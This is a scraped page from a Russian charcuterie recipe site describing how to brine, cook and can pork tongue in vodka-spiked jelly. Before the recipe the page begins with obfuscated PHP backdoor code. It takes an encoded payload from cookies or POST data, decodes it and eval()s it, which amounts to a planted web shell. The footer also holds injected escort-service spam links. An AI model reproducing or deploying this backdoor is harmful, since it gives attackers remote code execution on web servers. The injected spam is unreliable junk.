$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Свиной язык в желе с водкой и перцем саравак • Meat Review

Свиной язык в желе с водкой и перцем саравак

Перейти в режим чтения
Распечатать
0 0
Свиной язык в желе с водкой и перцем саравак

Поделиться в социальных сетях

Вы можете скопировать ссылку

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:

    Инструкция

    Поделиться

    Несколько месяцев назад  в группе Charcuterie на русском выставлял рецепт “Язык в желе”, не скажу что было неудачное блюдо, но вкус желе был никакой, соответственно при подаче его все удаляли. да и сырой язык чистить было занятие для мазохистов. Именно поэтому решил изменить технологию.

    Водка в составе желе выполняет 2 цели, первая цель это безусловно понты, с легкостью можно заменить на портвейн, анисовую настойку и прочее, вторая цель алкоголя – бактериостатические функции.

    На 1 кг языка свиной (говяжий, телячий, бараний)
    Рассол 400+400гр
    Для отваривания языка
    Перец горошком 2гр
    Перец душистый 1гр
    Лавровый лист 2шт
    Гвоздика 4 бутона
    Кориандр 2 гр
    Кардамон 0.3гр
    Вода 1 литр
    Для рассола на 1 литр
    Вода 100мл
    Соль нитритная 130гр
    Смесь сахаров (Кристалют) 25
    Стартовые культуры ( согласно рекомендации производителя)

    В кипяченой охлажденной воде растворяют смесь сахаров, стартовые культуры, соль, заливают язык и солят 5-10 суток. Через 5 суток рассол сменить.
    Просоленный язык вымочить в холодной воде в течение 30-40 минут. После чего закладывают в кипящую воду, добавляют специи и варят в течение 60 минут. После чего отвар сливают, заливают холодной водой, очищают от кожи, у говяжьих языков удаляют подъязычник.
    40% потерь у свиных языков, 60% у говяжьих языков.

    На дно стерилизованных банок укладывают желатин в порошке 5гр, перец саравак 0.5-1гр, укладывают язык 1-2 кусок. Заливают бульоном (40гр на 250мл банку)укупоривают крышкой. Проводят тиндализацию при Т +100С до температуры +80внутри продукта, после чего снижают температуру и варят в течение 2 часов. Оставляют при комнатной температуре на 24 часа, после чего процесс повторяют, только время варки сокращают до 90 минут. Оставляют на 24 часа при комнатной температуре, процес повторяют, время варки сокращают до 60 минут. В автоклаве срок стерилизации составляет 25 минут с момента достижения рабочей температуры.
    Срок хранения пастеризованных языков 90 суток при Т +2-+5С, стерилизованных языков 12 месяцев при Т +2 -+10с.

    Для бульона на 1 литр
    Кости говяжьи трубчатые 500гр
    Вода 1200мл
    Лук репчатый 100гр
    Морковь 100гр
    Сельдерей (пастернак, корень петрушки) 50гр
    Чеснок 20гр
    Лавровый лист 2 шт
    Перец черный горошком 2 гр
    перец душистый горошком 1 гр
    Гвоздика 3шт
    Кориандр 2 гр
    Кардамон 0.3гр
    Тимьян св 5гр
    Соевый соус 25 гр
    Водка 100 мл ( в данном случае использовалась Абсолют пеппар)
    Кости промывают, заливают водой, доводят до кипения, снимают пену, кладут яичную скорлупу 2-3шт (нет не для навара, как рекомендуют французские коллеги для того что бы бульон был прозрачен), варят в течение 8 часов, периодически снимают пену и жир, варят при слабом кипении.
    Овощи произвольно нарезают подпекают до коричневой корочке на сухой поверхности плиты или сковороды
    Варят в течение 3-4 часов, процеживают, снимают жир.
    За 45-60 минут закладывают специи. Бульон процеживают. Заправляют солью и соевым соусом, охлаждают до +40с, вливают водку.

     

    (Visited 2 089 times, 1 visits today)

    Sergey Kolesnikov

    обратно
    Колбаса Революционная
    далее
    Ветчина с перцем эспелет
    обратно
    Колбаса Революционная
    далее
    Ветчина с перцем эспелет

    Похожие рецепты

    There are no comments yet

    × You need to log in to enter the discussion

      MeatReview.com | © 2010–2021 ALL RIGHTS RESERVED | TERMS AND CONDITIONS | CONTACT US

      escort Muğla
      Aydın Escort bayan
      Çanakkale Escort
      escort bayan balıkesir

      Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

      By continuing to use the site, you agree to the use of cookies. more information

      The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

      Close